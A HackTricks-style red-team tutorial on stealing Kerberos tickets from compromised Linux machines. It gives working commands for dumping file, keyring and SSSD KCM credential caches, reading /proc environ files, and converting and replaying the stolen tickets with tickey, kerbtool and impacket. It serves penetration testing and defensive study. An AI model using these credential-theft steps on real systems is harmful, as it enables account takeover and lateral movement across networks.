Harvesting Tickets from Linux

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Credential Storage in Linux

Linux systems store credentials in three types of caches, namely Files (in /tmp directory), Kernel Keyrings (a special segment in the Linux kernel), and Process Memory (for single-process use). The default_ccache_name variable in /etc/krb5.conf reveals the storage type in use, defaulting to FILE:/tmp/krb5cc_%{uid} if not specified.

MIT/Heimdal also support additional backends that you should look for during post-exploitation:

  • DIR:/run/user/%{uid}/krb5cc for directory-backed multi-ticket caches (systemd-logind default on modern distros).
  • KEYRING:persistent:%{uid} or KEYRING:session to stash ccaches inside the kernel keyring (KEY_SPEC_SESSION_KEYRING, KEY_SPEC_USER_KEYRING, etc.).
  • KCM:%{uid} when SSSD’s Kerberos Cache Manager daemon (kcm) fronts ticket storage.
  • MEMORY:unique_id for process-local caches created by libraries (gssproxy, sshd, etc.).

Whenever you pop a shell, dump KRB5CCNAME from /proc/<pid>/environ of interesting daemons (e.g. Apache, sshd, gssproxy) to know which cache backend is being used before you start copying files.

Enumerating Active Caches

Enumerate the caches before extraction to avoid missing high-value tickets:

$ klist -l            # list caches registered in the local keyring/KCM
$ klist -A            # show all ticket-granting tickets in the current cache
$ sudo keyctl get_persistent @u
$ sudo keyctl show `keyctl get_persistent @u`
$ sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc*
$ sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \;

The combination of klist, keyctl, and /proc inspection quickly reveals whether credentials live in files, keyrings, or KCM so you can pick the right dumping technique.

Extracting Credentials

The 2017 paper, Kerberos Credential Thievery (GNU/Linux), outlines methods for extracting credentials from keyrings and processes, emphasizing the Linux kernel’s keyring mechanism for managing and storing keys.

Keyring Extraction Overview

The keyctl system call, introduced in kernel version 2.6.10, allows user space applications to interact with kernel keyrings. Credentials in keyrings are stored as components (default principal and credentials), distinct from file ccaches which also include a header. The hercules.sh script from the paper demonstrates extracting and reconstructing these components into a usable file ccache for credential theft. Remember that keyring-stored ccaches may live under KEYRING:persistent:%{uid} (permanent across logins), KEYRING:session (cleared on logout), or even KEY_SPEC_THREAD_KEYRING for services spawning helper threads—so always enumerate all keyring types for the compromised UID.

Manual KEYRING Workflow

You can manually harvest tickets without helper scripts whenever default_ccache_name is set to KEYRING::

$ KRING=$(keyctl get_persistent @u)
$ keyctl show $KRING                       # note the key serial of each ccache blob
$ keyctl pipe <serial> > /tmp/ccache_dump  # write raw blob to disk
$ KRB5CCNAME=/tmp/ccache_dump klist        # validate the stolen cache

If multiple principals are stored, repeat the keyctl pipe step per serial, then convert the extracted ccache to a Windows-friendly .kirbi/.ccache using tooling such as kerbtool (see below) or ticketConverter.py before replaying it from other machines.

File/DIR Cache Theft Quick Wins

When credentials are stored as FILE: or DIR: caches, simple file operations are usually enough:

$ sudo cp /tmp/krb5cc_1000 /tmp/websvc.ccache
$ sudo cp -r /run/user/1000/krb5cc /tmp/user1000_dircc
$ chmod 600 /tmp/*.ccache && chown attacker /tmp/*.ccache

Directory caches contain one file per service ticket, so compress and exfiltrate the whole directory to keep TGT + TGS pairs intact. You can also point your tooling at the directory directly: KRB5CCNAME=DIR:/tmp/user1000_dircc impacket-psexec ....

Dumping KCM-Managed Caches

SSSD’s Kerberos Cache Manager (kcm) proxies credential storage through /var/run/kcm/kcmsock (or /run/.heim_org.h5l.kcm-socket) and persists encrypted blobs inside /var/lib/sss/secrets/ together with .secrets.mkey. Attack flow:

  1. Identify KCM usage via /etc/krb5.conf (default_ccache_name = KCM:) or klist -l outputs.
  2. If you have UID 0 or are part of the kcm SELinux domain, enumerate caches via the management tool:
$ sudo kcm_ctl list                 # lists UID + cache IDs handled by kcm
$ sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache
$ KRB5CCNAME=/tmp/1000.kcm.ccache klist
  1. Offline approach: copy /var/lib/sss/secrets/secrets.ldb plus /var/lib/sss/secrets/.secrets.mkey, then run SSSDKCMExtractor (or similar PoCs) to decrypt and reassemble ccaches without touching the live socket. This is especially useful in forensics or when socket ACLs block you but disk access is possible.

Because the kcm daemon honors UID-based ACLs enforced by SSSD, privilege escalation to root (or compromising sssd_kcm) is usually required, but once achieved you can dump every user’s TGT in seconds.

Ticket Extraction Tooling

Automating the above steps reduces mistakes and gives you cross-platform ticket material you can replay from Windows tooling.

Tickey

Building on the principles of the hercules.sh script, the tickey tool is specifically designed for extracting tickets from keyrings, executed via /tmp/tickey -i. It enumerates kernel keyrings, reconstructs the serialized ccaches, and writes MIT-compatible cache files you can immediately feed to klist, impacket-*, or kerberoast tooling.

Kerbtool

kerbtool is a modern Go utility that runs natively on Linux and can parse, convert, and request Kerberos tickets. Two handy use cases when harvesting from Linux boxes:

# Convert a stolen MIT ccache into a .kirbi usable by Windows tooling
$ ./kerbtool --convert --in /tmp/websvc.ccache --out websvc.kirbi

# Use an extracted cache to request additional TGS tickets without touching the victim again
$ KRB5CCNAME=/tmp/websvc.ccache ./kerbtool --ask --spn cifs/fileserver.lab.local

Having both tickey and kerbtool on your implant host lets you move seamlessly between Linux, Windows, and cross-platform Kerberos attack chains.

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks